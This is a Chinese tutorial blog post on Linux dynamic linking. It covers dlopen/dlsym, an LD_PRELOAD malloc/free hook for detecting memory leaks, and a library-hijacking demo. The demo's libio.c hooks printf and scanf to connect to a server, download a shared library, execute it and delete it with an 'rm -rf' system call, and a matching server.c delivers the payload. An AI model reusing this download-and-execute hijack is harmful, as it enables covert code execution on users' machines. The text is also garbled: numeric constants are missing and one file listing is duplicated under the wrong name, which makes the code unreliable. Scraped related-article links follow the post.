Linux 动态链接库 - dll劫持
- 如何使用动态链接库
Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):
1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLoadLibrary函数
//参数一filename是.so文件路径
//参数二flag指定解析符号的时间点等
//返回值是链接库的句柄
void *dlopen(const char *filename, int flag);
2.从句柄中获取函数符号加载的内存地址,通过调用dlsym函数返回函数地址,对应于windows下的GetProcAddress函数
//参数一handle是dlopen获得的句柄
//参数二symbol是函数符号
//返回值为函数加载在内存的地址
void *dlsym(void *handle, const char *symbol);
3.卸载链接库,通过调用dlclose函数释放资源,对应于windows下的AfxFreeLibrary函数
int dlclose(void *handle);
Linux下编写第一个动态链接库hello.so
#include <stdio.h>
void *hello(void *input) {
printf("hello from a .so\n");
return NULL;
}
hello.c
编译命令:
gcc -shared -fPIC hello.c -o hello.so
-shared 指定生成共享库
-fPIC 指定生成位置无关代码
动态加载hello.so的过程如下
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h> typedef void *(*FUNC)(void *); void load_and_invoke(char *libname, char *funcname) { FUNC func = NULL;
char *error = NULL;
void * handle = dlopen(libname,RTLD_LAZY); //加载链接库 if(!handle){
fprintf(stderr,"%s\n",dlerror());
exit(EXIT_FAILURE);
} dlerror(); *(void **)(&func) = dlsym(handle,funcname); //获取符号地址 if((error = dlerror()) != NULL){
fprintf(stderr,"%s\n",error);
exit(EXIT_FAILURE);
} func(NULL); //执行函数 dlclose(handle); //卸载链接库
exit(EXIT_FAILURE);
} int main(int argc, char **argv) { load_and_invoke("./hello.so", "hello");
}
main.c
编译命令:
gcc main.c -o main -ldl
运行:

- 应用一 内存泄漏检测
动态链接库除了让程序更新方便,提高运行效率外,还可移使用dll注入的方式实现类似于valgrind的内存检测工具。
原理:通过注入的方式让用户程序调用的malloc,free等内存操作函数最终调用本程序实现的malloc与free函数,在自己实现的函数中记录用户每次对内存的申请与撤销操作,分析是否有内存泄露,具体原理参考codeproject上的一篇文章 C++ Memory Leak Finder
libmem.c实现malloc,free函数
#include <stdint.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <execinfo.h> //一些辅助函数,使用stl map记录内存申请与回收
int map_insert(void * pointer, char *module);
int map_remove(void * pointer);
int map_count();
void map_dump(); const static int max_frame_depth = ;
static int mutex = ; //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用
__attribute__((constructor)) void init(void);
//指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用
__attribute__((destructor)) void deinit(void); //GLIBC中的malloc函数
static void *(*sys_malloc)(size_t) = NULL;
//GLIBC中的free函数
static void (*sys_free)(void *) = NULL; //链接库加载后,调用init获取malloc与free地址
void init(void){
sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc");
if(sys_malloc == NULL){
fprintf(stderr,"failed to read malloc function;\n");
exit(EXIT_FAILURE);
} sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free"));
if(sys_free == NULL){
fprintf(stderr,"failed to read free function;\n");
exit(EXIT_FAILURE);
}
} //链接库卸载前,打印内存申请与释放记录
void deinit(void){
printf("%d unfreed allocations found\n",map_count());
map_dump();
} void *malloc(size_t size){ if(sys_malloc == NULL){
init();
} void *ptr = sys_malloc(size); //backtrace函数可能需要使用malloc函数,有可能造成循环调用,
//因此需要使用静态变量mutex防止死循环
if(mutex == ){
mutex = ; void *frames[max_frame_depth];
//通过backtrace获取当前函数调用栈信息
size_t stack_size = backtrace(frames,max_frame_depth);
char ** stacktrace = backtrace_symbols(frames,stack_size); //这里只记录了一帧信息
map_insert((void *) ptr,stacktrace[]); sys_free(stacktrace); mutex = ;
} return ptr;
} void free(void * ptr){
if(sys_free == NULL){
init();
} if(mutex == ){
mutex = ; if(map_remove((void *) ptr) == ){ //double remove
sys_free((void *)ptr);
} mutex = ;
}
}
libmem.c
libmem.c中调用了记录内存分配回收信息的辅助函数
#include <stdint.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <execinfo.h> //一些辅助函数,使用stl map记录内存申请与回收
int map_insert(void * pointer, char *module);
int map_remove(void * pointer);
int map_count();
void map_dump(); const static int max_frame_depth = ;
static int mutex = ; //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用
__attribute__((constructor)) void init(void);
//指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用
__attribute__((destructor)) void deinit(void); //GLIBC中的malloc函数
static void *(*sys_malloc)(size_t) = NULL;
//GLIBC中的free函数
static void (*sys_free)(void *) = NULL; //链接库加载后,调用init获取malloc与free地址
void init(void){
sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc");
if(sys_malloc == NULL){
fprintf(stderr,"failed to read malloc function;\n");
exit(EXIT_FAILURE);
} sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free"));
if(sys_free == NULL){
fprintf(stderr,"failed to read free function;\n");
exit(EXIT_FAILURE);
}
} //链接库卸载前,打印内存申请与释放记录
void deinit(void){
printf("%d unfreed allocations found\n",map_count());
map_dump();
} void *malloc(size_t size){ if(sys_malloc == NULL){
init();
} void *ptr = sys_malloc(size); //backtrace函数可能需要使用malloc函数,有可能造成循环调用,
//因此需要使用静态变量mutex防止死循环
if(mutex == ){
mutex = ; void *frames[max_frame_depth];
//通过backtrace获取当前函数调用栈信息
size_t stack_size = backtrace(frames,max_frame_depth);
char ** stacktrace = backtrace_symbols(frames,stack_size); //这里只记录了一帧信息
map_insert((void *) ptr,stacktrace[]); sys_free(stacktrace); mutex = ;
} return ptr;
} void free(void * ptr){
if(sys_free == NULL){
init();
} if(mutex == ){
mutex = ; if(map_remove((void *) ptr) == ){ //double remove
sys_free((void *)ptr);
} mutex = ;
}
}
hash.cpp
把 libmem.c编译成动态链接库libmem.so,导出环境变量LD_PRELOAD=path/to/libmem.so,动态链接库的查找和加载 是由/lib/ldd.so实现,LD_PRELOAD路径中的库会在标准路径之前被查找到,这样任何使用malloc,free函数的程序都会调用 libmem.so中的malloc与free,从而实现内存泄漏的检测。关于LD_PRELOAD变量,可以查看警惕UNIX下的LD_PRELOAD环境变量关于windows下dll搜索路径可以参考Dynamic-Link Library Search Order
为了测试,我们编写了一个存在内存泄漏的程序
编译与运行:

- 应用二 dll劫持漏洞
与内存检测程序原理类似,dll搜索路径的先后顺序如果不小心,很有可能被恶意利用。恶意程序要做的是编写一个与正常应用链接库文件名相同,实现同样的函数(函数名参数类型与个数相同)的链接库,把它放在当前路径或者进程路径等在优先级在正常dll之前的路径上,就可以让正常应用主动去执行一些恶意代码。
下面是通过劫持scanf,printf函数实现攻击的例子,正常的应用程序只要调用了scanf,printf,便会激活恶意代码.恶意代码连接服务器并下载真正危险的代码执行,而且恶意代码可以在执行后删除自己并完成用户正常的功能以达到隐藏自己的目的。
劫持GLIBC的printf与scanf的代码
#include <stdint.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <arpa/inet.h> static void (*sys_vprintf)(const char *format,...) = NULL;
static int (*sys_vscanf)(const char *format,...) = NULL;
static int count = ; #define MAXLINE 4096 static void init(void){
sys_vprintf = (void (*)(const char *format,...))dlsym(RTLD_NEXT,"vprintf");
if(sys_vprintf == NULL){
exit(EXIT_FAILURE);
} sys_vscanf = (int (*)(const char *format,...))dlsym(RTLD_NEXT,"vscanf");
if(sys_vscanf == NULL){
exit(EXIT_FAILURE);
}
} static void deinit(void){
;
} #define FILE_NAME "libexploit_download.so"
#define FUNC_NAME "exploit" //执行从服务器下载的代码
void load_and_exec(char *libname,char *funcname){ void *handle = dlopen(libname,RTLD_LAZY);
if(!handle){
return;
} void (*func)(void);
*(void ** )(&func) = dlsym(handle,funcname); if(func == NULL){
return;
} func(); dlclose(handle);
} //删除下载的代码
void remove(char *filename){
char buff[MAXLINE];
strcpy(buff,"rm -rf ");
strcat(buff,filename);
system(buff);
} //恶意程序客户端从服务器下载恶意代码并执行
static void client(){
int sockfd,n;
char buff[MAXLINE + ];
struct sockaddr_in servaddr; if((sockfd = socket(AF_INET,SOCK_STREAM,)) < ){
return;
} bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
char *serv_addr = "127.0.0.1"; //服务器地址
char *serv_port = ""; //服务器端口
servaddr.sin_port = htons(atoi(serv_port));
if(inet_pton(AF_INET,serv_addr,&servaddr.sin_addr) <= ){
return;
} if(connect(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr)) < ){
return;
} write(sockfd,"start",strlen("start")); int fd = open(FILE_NAME,O_RDWR | O_CREAT | O_EXCL,S_IRUSR | S_IWUSR);
if(fd == -){
return;
} int nRead;
while((nRead = read(sockfd,buff,MAXLINE)) != ){
write(fd,buff,nRead);
}
close(fd);
close(sockfd); load_and_exec(FILE_NAME,FUNC_NAME); remove(FILE_NAME);
exit();
} void printf(const char *fmt,...){
if(sys_vprintf == NULL){
init();
} client(); //恶意代码开始执行与服务器通信 char buff[MAXLINE]; va_list vl;
va_start(vl,fmt);
sys_vprintf(fmt,vl);
va_end(vl);
} int scanf(const char *fmt,...){
if(sys_vscanf == NULL){
init();
} client(); va_list vl;
va_start(vl,fmt);
int cnt = sys_vscanf(fmt,vl);
va_end(vl);
return cnt;
}
libio.c
被攻击的代码示例
#include <stdio.h> #define MAXLINE 4096 int
main()
{
char buff[MAXLINE]; while(scanf("%s",buff) != ){
printf("you've typed : %s\n",buff);
}
}
target.c
编译过程:

服务器端代码server.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h> #define MAXLINE 4096
#define LISTENQ 1024 void serve(int port,char *filename) { int listenfd,connfd;
struct sockaddr_in servaddr;
char buff[MAXLINE];
char outBuff[MAXLINE]; listenfd = socket(AF_INET,SOCK_STREAM,);
if(listenfd < ){
return;
} bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(port); if(bind(listenfd,(struct sockaddr *)&servaddr,sizeof(struct sockaddr)) < ){
return;
} if((listen(listenfd,LISTENQ)) < ){
return;
} for(;;){
if((connfd = accept(listenfd,(struct sockaddr *)NULL,NULL)) < ){
continue;
} int n = read(connfd,buff,MAXLINE);
buff[n] = '\0'; if(strcmp(buff,"start") == ){
printf("ready...\n");
FILE *fp = fopen(filename,"r");
if(fp == NULL){
fprintf(stderr,"file open error\n");
} while((n = fread(buff,,MAXLINE,fp)) != ){
if(write(connfd,buff,n) != n){
fprintf(stderr,"write error\n");
}
}
} if(close(connfd) == -){
return;
}
exit();
} } int main(int argc, char **argv) { int port = ;
char *filename = "./libexploit.so"; serve(port,filename); exit();
}
server.c
真正执行攻击的代码:
#include <stdio.h>
#include <string.h> void exploit() {
const char* msg = "you have been hacked\n";
fwrite(msg, sizeof(char), strlen(msg), stdout);
}
libexploit.c
编译服务端代码:

最后效果:

Linux 动态链接库 - dll劫持的更多相关文章
- Linux 动态链接库
如何使用动态链接库 Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLo ...
- 原创QQ影音DLL劫持漏洞+动画实战教程
1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...
- dll劫持技术
DLL劫持技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中. DLL劫持原理 ...
- 动态链接库dll,导入库lib,静态链接库lib
目前以lib后缀的库有两种,一种为静态链接库(Static Libary,以下简称“静态库”),另一种为动态连接库(DLL,以下简称“动态库”)的导入库(Import Libary,以下简称“导入库” ...
- 老树开新花:DLL劫持漏洞新玩法
本文原创作者:丝绸之路 <img src="http://image.3001.net/images/20150921/14428044502635.jpg!small" t ...
- Dll劫持漏洞详解
一.dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分 ...
- 36.浅谈DLL劫持
最近在搞内网,需要实现免杀后门,大佬推荐了dll劫持,DLL劫持后,能干很多事情,比如杀软对某些厂商的软件是实行白名单的,你干些敏感操作都是不拦截,不提示的.还有留后门,提权等等.本文主要介绍如何检测 ...
- 可执行Jar包调用动态链接库(DLL/SO)
踩过了很多的坑,查了很多资料,在此记录一下,以SpringBoot项目为基础. Maven加入JNA依赖 <!-- JNA start --> <dependency> < ...
- DLL劫持技术例子: HijackDll
控制台程序:DllLoader Dll加载器,用于动态加载目标Dll,并动态调用目标函数 #include <cstdio> #include <windows.h> type ...
随机推荐
- 详解Bootstrap实现基本布局的方法
看到了一篇 20 分钟打造 Bootstrap 站点的文章,内容有点老,重新使用bootstrap教程实现一下,将涉及的内容也尽可能详细说明. 1. 创建基本的页面我们先创建一个基本的 HTML 模板 ...
- DP一下,马上出发
简单DP i.May I ask you for a dance(体舞课软广植入) 这题的状态转移方程为:dp[i][j]=max(dp[i-1][j-1]+a[i][j],dp[i][j-1]);( ...
- python yaml用法详解
YAML是一种直观的能够被电脑识别的的数据序列化格式,容易被人类阅读,并且容易和脚本语言交互.YAML类似于XML,但是语法比XML简单得多,对于转化成数组或可以hash的数据时是很简单有效的. Py ...
- poj1151 Atlantis (线段树+扫描线+离散化)
有点难,扫描线易懂,离散化然后线段树处理有点不太好理解. 因为这里是一个区间,所有在线段树中更新时,必须是一个长度大于1的区间才是有效的,比如[l,l]这是一根线段,而不是区间了. AC代码 #inc ...
- 为wordpress后台登陆添加算术验证码
对于新建站(个人博客-柠檬https://ninmong.com)的站长来说提高后台的安全性,是一件非常重要的事,添加验证可以起到很好的效果,废话少说,贴代码 //后台登陆数学验证码 function ...
- 如何系统地自学 Python?
最近开始系统的学习Python,以及整理的一些资料.github记录着个人自学 Python 的过程,持续更新.欢迎大家一起来完善这个自学Python学习的项目,给后来者一个参考的学习过程.githu ...
- 博客搬家一下到CSDN
博客搬家一下到CSDN:http://blog.csdn.net/weixin_33409246
- Mysql 数据库日志与数据文件分开
参考:https://blog.csdn.net/jiao_fuyou/article/details/78366621 myql默认配置情况下,二进制日志文件是保存在默认的数据目录 data 下,如 ...
- 导出MySql中的数据库 --Linux/Windows
1.thanlon@thanlon-Ubuntu:~$ mysqldump -uroot -p mysql>db.sql “mysql”为数据库名,db.sql为导出的文件
- 安装Windows 和 Linux双系统(vmware) Centos7
这里我安装的是Windows + Centos 7,如果是要安装Centos 6,步骤一样 一.安装Windows和Linux双系统需要先安装Windows然后安装Linux 解释:这里解释下为什么要 ...